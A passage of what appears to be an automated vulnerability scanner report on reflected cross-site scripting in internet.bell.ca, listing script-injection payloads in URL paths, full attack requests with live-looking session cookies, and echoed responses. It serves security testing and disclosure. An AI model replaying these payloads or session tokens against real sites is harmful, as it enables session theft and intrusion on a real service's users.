Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /Images/flash/sifr.swf8a129"><script>alert(1)</script>1045a7bd2bf HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Referer: http://internet.bell.ca/index.cfm?83853%22%3E%3Cscript%3Ealert(1)%3C/script%3E8d68ea21d78=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=NS|myurl=CSQ|language=en; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478479424%3B%20s_lv%3D1290476679430%7C1385084679430%3B%20s_lv_s%3DFirst%2520Visit%7C1290478479430%3B%20s_pv%3DShop%253AMobile%253AOverview%253ALanding%7C1290478479448%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":3,"to":4.6,"c":"http://www.bell.ca/shopping/PrsShpWls_Landing.page","f":1290476677957,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253DShop%2525253AMobile%2525253AOverview%2525253ALanding%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.bell.ca%2525252Fshopping%2525252F70772.details%252526ot%25253DA%3B; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E8d68ea21d78%3D1; VOKEN_SEEN=0; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290478557546%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; __utma=250352478.1210637365.1290476758.1290476758.1290476758.1; __utmc=250352478; __utmb=250352478.1.10.1290476758

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 01:48:23 GMT
Connection: close
Set-Cookie: SMSESSION=NgdEbthtWtnQuwIofUEDsC/YYo5902DDc+G7GJCWrtiQbs4rp8P/UyZTV5I9EuQ9IqoTC6mFv5eMohLs82YnBpsgptjqzc7Lg2d8MVLyxooAS+1QbjzyYVrlJOfsMedCjvPnahFmWnECXncg3EYSqHsxypbPz9cKCF67x79T205KD//Zz9zthBfMBrwVd738ulAx+ZhG6wYIsaqJBJPqtjMfVqRVYmHPkYoZJz2PiRZktm3XbEhxFxGiHUe77f2SptXDNVdqd5Cgwqu4tfCpTu/UkkS1CMIhii/cmPNYX7JWzoTf0XwXQA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 01:48:23 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 01:48:23 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 01:48:23 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 01:48:23 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 01:48:23 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 01:48:23 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 01:48:23 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 01:48:23 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 01:48:23 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 01:48:23 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
t type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/Images/flash/sifr.swf8a129"><script>alert(1)</script>1045a7bd2bf" />
...[SNIP]...

2.4. http://internet.bell.ca/favicon.ico [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9fc66"><script>alert(1)</script>eb765000cc9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /favicon.ico9fc66"><script>alert(1)</script>eb765000cc9 HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=NS|myurl=CSQ|language=en; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478479424%3B%20s_lv%3D1290476679430%7C1385084679430%3B%20s_lv_s%3DFirst%2520Visit%7C1290478479430%3B%20s_pv%3DShop%253AMobile%253AOverview%253ALanding%7C1290478479448%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":3,"to":4.6,"c":"http://www.bell.ca/shopping/PrsShpWls_Landing.page","f":1290476677957,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253DShop%2525253AMobile%2525253AOverview%2525253ALanding%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.bell.ca%2525252Fshopping%2525252F70772.details%252526ot%25253DA%3B; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; VOKEN_SEEN=0; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290478564193%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=250352478.1210637365.1290476758.1290476758.1290476758.1; __utmc=250352478; __utmb=250352478.2.10.1290476758

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 01:48:14 GMT
Connection: close
Set-Cookie: SMSESSION=L6II3SSSeemV5AQpg6Kml0iIc24n3y6KzveGibXCtoI+3xJYnOhwIpxVmSr2GIBwI+E0oKyHNdNcTDrPXcSYVqGadDucasZ7tK70rfx22GODGp2Kmi2nK7MDzb5/NGENqkX5Seo/dJ35j/eBz4wy1PzTTnmL6oo7K6ud+64OcuZqf0pObrBEAtpWcduIq3v2Z9yfRuliL/qFxcck+wosvr6jNTKHz1OKgE6w92Y4fGnIEShSUAAeL2uL6Y9RER8MCBMgQUy/FzLRe7cWV7SXKztbgpBLLL40rFq4YG/CFWhcWQGBfuJ0mA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 01:48:15 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 01:48:15 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 01:48:15 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 01:48:15 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 01:48:15 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 01:48:15 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 01:48:15 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 01:48:15 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 01:48:15 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 01:48:15 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/favicon.ico9fc66"><script>alert(1)</script>eb765000cc9" />
...[SNIP]...

2.5. http://internet.bell.ca/favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/index.cfm [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/index.cfm

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 84ed5"><script>alert(1)</script>9f8cf566546 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/index.cfm84ed5"><script>alert(1)</script>9f8cf566546?method=sso.init&content=minidashboard HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Referer: http://internet.bell.ca/favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/script%3Eeb765000cc9
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=NS|myurl=CSQ|language=en; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; VOKEN_SEEN=0; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478575947%3B%20s_lv%3D1290476775951%7C1385084775951%3B%20s_lv_s%3DFirst%2520Visit%7C1290478575951%3B%20s_pv%3DShop%253AMobile%253ASmartphones%252C%2520phones%2520-%2520mobile%2520internet%253AProducts%2520details%7C1290478575972%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":4,"to":4.3,"c":"http://www.bell.ca/shopping/LG-Optimus-Quantumwith-Windows--Phone-7/70772.details","f":1290476775436,"lc":{"d0":{"v":2,"s":false}},"cd":0,"sd":0}; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478633896%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=250352478.1210637365.1290476758.1290476758.1290476758.1; __utmc=250352478; __utmb=250352478.5.10.1290476758; SMSESSION=L6II3SSSeemV5AQpg6Kml0iIc24n3y6KzveGibXCtoI+3xJYnOhwIpxVmSr2GIBwI+E0oKyHNdNcTDrPXcSYVqGadDucasZ7tK70rfx22GODGp2Kmi2nK7MDzb5/NGENqkX5Seo/dJ35j/eBz4wy1PzTTnmL6oo7K6ud+64OcuZqf0pObrBEAtpWcduIq3v2Z9yfRuliL/qFxcck+wosvr6jNTKHz1OKgE6w92Y4fGnIEShSUAAeL2uL6Y9RER8MCBMgQUy/FzLRe7cWV7SXKztbgpBLLL40rFq4YG/CFWhcWQGBfuJ0mA==; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 01:49:12 GMT
Connection: close
Set-Cookie: SMSESSION=lz8tnsBD13RBcsadwKNjMq2qkAmNQdsjWTO1IE5msdEA9Ooi6Tjn2kQ7MrQ31ZkYW+26bBNLbRd4SQODv/jZiKCyhwH9wyQdgtDrNYBcHBFxmkFIHcK6V9kjCSc0rKeVwjEcdvVfL17efi3zq3aIR61K00cEksI+VdrbCCfGh70mlBnJocA3y3JmAqtunH7hViQYj2zVdgjkjweHDqkRL63XzX5WZfmGGed8q9UFmqLQd5rxdDyxK0TnNPkmBGucdEEw9DljPijwZRxbGuLB9n2r1iTMiNoqTXxgAvFtFYuKINi1wlzc0A==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 01:49:12 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 01:49:12 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 01:49:12 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 01:49:12 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 01:49:12 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 01:49:12 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 01:49:12 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 01:49:12 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 01:49:12 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 01:49:12 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/index.cfm84ed5"><script>alert(1)</script>9f8cf566546?method=sso.init&content=minidashboard" />
...[SNIP]...

2.6. http://internet.bell.ca/img_gallery/90_en.gif [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /img_gallery/90_en.gif

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 19ca9"><script>alert(1)</script>1f5bfd01185 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /img_gallery19ca9"><script>alert(1)</script>1f5bfd01185/90_en.gif HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Referer: http://internet.bell.ca/index.cfm?83853%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d68ea21d78=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=NS|myurl=CSQ|language=en; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478479424%3B%20s_lv%3D1290476679430%7C1385084679430%3B%20s_lv_s%3DFirst%2520Visit%7C1290478479430%3B%20s_pv%3DShop%253AMobile%253AOverview%253ALanding%7C1290478479448%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":3,"to":4.6,"c":"http://www.bell.ca/shopping/PrsShpWls_Landing.page","f":1290476677957,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253DShop%2525253AMobile%2525253AOverview%2525253ALanding%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.bell.ca%2525252Fshopping%2525252F70772.details%252526ot%25253DA%3B; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; VOKEN_SEEN=0; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290478564193%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=250352478.1210637365.1290476758.1290476758.1290476758.1; __utmc=250352478; __utmb=250352478.2.10.1290476758; SMSESSION=Po1WFIHTijkjzwZUwjCTbIAgCJHl/vVhqnOgLHVV34DPWv274mo0La4U7JHYZNxeNJQ3sjBUPydPdsGj3z8G36jb/3MT021rcA+bYDO167471mH0d/JGMc9+JoQWua7VfywFuy6zGyMqDrLs72rTdbpXXFhBH4FKNXKPrWC4q/Ui+GoUhqMT++EoaEfLeoWuCM3nNXljUi7w6o6iB0ht+mgdhegYrbmlYnFSea4JVH/hPfdcfw4/k+93JEAvLjtzypU+h064lVC8dabDWn0Va4kVjswd63b7a4p1JMB5XEI5GvPLX449WQ==

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 01:47:31 GMT
Connection: close
